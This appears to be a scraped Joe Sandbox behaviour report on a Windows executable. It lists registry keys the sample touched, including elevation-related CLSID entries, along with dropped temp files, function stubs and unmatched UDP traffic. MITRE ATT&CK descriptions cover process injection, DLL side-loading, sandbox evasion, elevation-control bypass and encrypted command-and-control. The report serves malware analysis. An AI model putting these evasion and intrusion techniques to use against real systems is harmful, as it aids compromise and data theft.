Source: C:\Windows\SysWOW64\more.com	Key opened: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{0f87369f-a4e5-4cfc-bd3e-73e6154572dd}\LocalServer	Jump to behavior
Source: C:\Windows\SysWOW64\more.com	Key opened: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{0F87369F-A4E5-4CFC-BD3E-73E6154572DD}	Jump to behavior
Source: C:\Windows\SysWOW64\more.com	Key opened: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{0f87369f-a4e5-4cfc-bd3e-73e6154572dd}\Elevation	Jump to behavior
Source: C:\Windows\SysWOW64\more.com	Key opened: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{0F87369F-A4E5-4CFC-BD3E-73E6154572DD}	Jump to behavior
Source: C:\Windows\SysWOW64\more.com	Key opened: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{0f87369f-a4e5-4cfc-bd3e-73e6154572dd}\TreatAs	Jump to behavior

Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1

Description:	Adversaries may abuse command and script interpreters to execute commands, scripts, or binaries. These interfaces and languages provide ways of interacting with computer systems and are a common feature across many different platforms. Most systems come with some built-in command-line interface and scripting capabilities, for example, macOS and Linux distributions include some flavor of Unix Shell while Windows installations include the Windows Command Shell and PowerShell .
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Network, Office 365, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse task scheduling functionality to facilitate initial or recurring execution of malicious code. Utilities exist within all major operating systems to schedule programs or scripts to be executed at a specified date and time. A task can also be scheduled on a remote system, provided the proper authentication is met (ex: RPC and file and printer sharing in Windows environments). Scheduling a task on a remote system typically may require being a member of an admin or otherwise privileged group on the remote system.
Tactics:	Execution, Persistence, Privilege Escalation
Data Sources:	Command: Command Execution, Container: Container Creation, File: File Creation, File: File Modification, Process: Process Creation, Scheduled Job: Scheduled Job Creation
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may execute their own malicious payloads by side-loading DLLs. Similar to DLL Search Order Hijacking , side-loading involves hijacking which DLL a program loads. But rather than just planting the DLL within the search order of a program then waiting for the victim application to be invoked, adversaries may directly side-load their payloads by planting then invoking a legitimate application that executes their payload(s).
Tactics:	Defense Evasion, Persistence, Privilege Escalation
Data Sources:	File: File Creation, File: File Modification, Module: Module Load, Process: Process Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	File: File Metadata, File: File Modification, Module: Module Load, Process: OS API Execution, Process: Process Access, Process: Process Metadata, Process: Process Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may circumvent mechanisms designed to control elevate privileges to gain higher-level permissions. Most modern systems contain native elevation control mechanisms that are intended to limit privileges that a user can perform on a machine. Authorization has to be granted to specific users in order to perform tasks that can be considered of higher risk. An adversary can perform several methods to take advantage of built-in control mechanisms in order to escalate privileges on a system.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	Command: Command Execution, File: File Metadata, File: File Modification, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, User Account: User Account Modification, Windows Registry: Windows Registry Key Modification
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Metadata, File: File Modification, Image: Image Metadata, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Scheduled Job: Scheduled Job Metadata, Scheduled Job: Scheduled Job Modification, Service: Service Creation, Service: Service Metadata
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use Obfuscated Files or Information to hide artifacts of an intrusion from analysis. They may require separate mechanisms to decode or deobfuscate that information depending on how they intend to use it. Methods for doing that include built-in functionality of malware or by using utilities present on the system.
Tactics:	Defense Evasion
Data Sources:	File: File Modification, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Creation, File: File Metadata, Module: Module Load, Process: OS API Execution, Process: Process Creation, Script: Script Execution, WMI: WMI Creation, Windows Registry: Windows Registry Key Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may gather the system time and/or time zone from a local or remote system. The system time is set and stored by the Windows Time Service within a domain to maintain time synchronization between systems and services in an enterprise network.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may interact with the Windows Registry to gather information about the system, configuration, and installed software.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from Security Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Firewall: Firewall Enumeration, Firewall: Firewall Metadata, Process: OS API Execution, Process: Process Creation
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to identify the primary user, currently logged in user, set of users that commonly uses a system, or whether a user is actively using the system. They may do this, for example, by retrieving account usernames or by using OS Credential Dumping . The information may be collected in a number of different ways using other Discovery techniques, because user and username details are prevalent throughout a system and include running process ownership, file/directory ownership, session information, and system logs. Adversaries may use the information from [System Owner/User Discovery](https://attack.mitre.org/techniques/T1033) during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Active Directory: Active Directory Object Access, Command: Command Execution, File: File Access, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow, Process: OS API Execution, Process: Process Access, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use Valid Accounts to log into a computer using the Remote Desktop Protocol (RDP). The adversary may then perform actions as the logged-on user.
Tactics:	Lateral Movement
Data Sources:	Logon Session: Logon Session Creation, Logon Session: Logon Session Metadata, Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Flow, Process: Process Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report 5Z1WFRMTOXRH6X21Z8NU8.exe

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Configuration

Yara Signatures

Initial Sample

Memory Dumps

Unpacked PEs

Sigma Signatures

Suricata Signatures

Joe Sandbox Signatures

AV Detection

Exploits

Compliance

Spreading

Networking

Key, Mouse, Clipboard, Microphone and Screen Capturing

System Summary

Data Obfuscation

Persistence and Installation Behavior

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

Anti Debugging

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Remote Access Functionality

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

C:\Users\user\AppData\Local\Temp\9c813d63

C:\Users\user\AppData\Local\Temp\9d758fdb

C:\Users\user\AppData\Local\Temp\bca94d0c

C:\Users\user\AppData\Local\Temp\be3cb5d2

C:\Users\user\AppData\Local\Temp\bf266e95

C:\Users\user\AppData\Local\Temp\cnfpnteryde

C:\Users\user\AppData\Local\Temp\vkqcbyjdfiw

Static File Info

General

File Icon

Static PE Info

General

Authenticode Signature

Entrypoint Preview

Data Directories

Sections

Windows Analysis Report
5Z1WFRMTOXRH6X21Z8NU8.exe

Function 00799962 Relevance: 1.6, APIs: 1, Instructions: 123
nativeCOMMON

Function 00799242 Relevance: 4.6, APIs: 3, Instructions: 79
fileCOMMON

Function 0079A082 Relevance: 4.0, APIs: 2, Instructions: 995
memoryCOMMON

Function 00799832 Relevance: 3.0, APIs: 2, Instructions: 50
fileCOMMON

Function 00798E72 Relevance: 1.5, APIs: 1, Instructions: 25
libraryCOMMON

Function 0079AE92 Relevance: 1.5, APIs: 1, Instructions: 204
COMMON

Function 00799902 Relevance: 1.3, APIs: 1, Instructions: 23
memoryCOMMON

Description:	Adversaries may attempt to take screen captures of the desktop to gather information over the course of an operation. Screen capturing functionality may be included as a feature of a remote access tool used in post-compromise operations. Taking a screenshot is also typically possible through native utilities or API calls, such as `CopyFromScreen` , `xwd` , or `screencapture` .
Tactics:	Collection
Data Sources:	Command: Command Execution, Process: OS API Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may compress and/or encrypt data that is collected prior to exfiltration. Compressing the data can help to obfuscate the collected data and minimize the amount of data sent over the network. Encryption can be used to hide information that is being exfiltrated from detection or make exfiltration less conspicuous upon inspection by a defender.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Creation, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Tools or files may be copied from an external adversary-controlled system to the victim network through the command and control channel or through alternate protocols such as ftp . Once present, adversaries may also transfer/spread tools between victim devices within a compromised environment (i.e. Lateral Tool Transfer ).
Tactics:	Command and Control
Data Sources:	Command: Command Execution, File: File Creation, Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using OSI application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre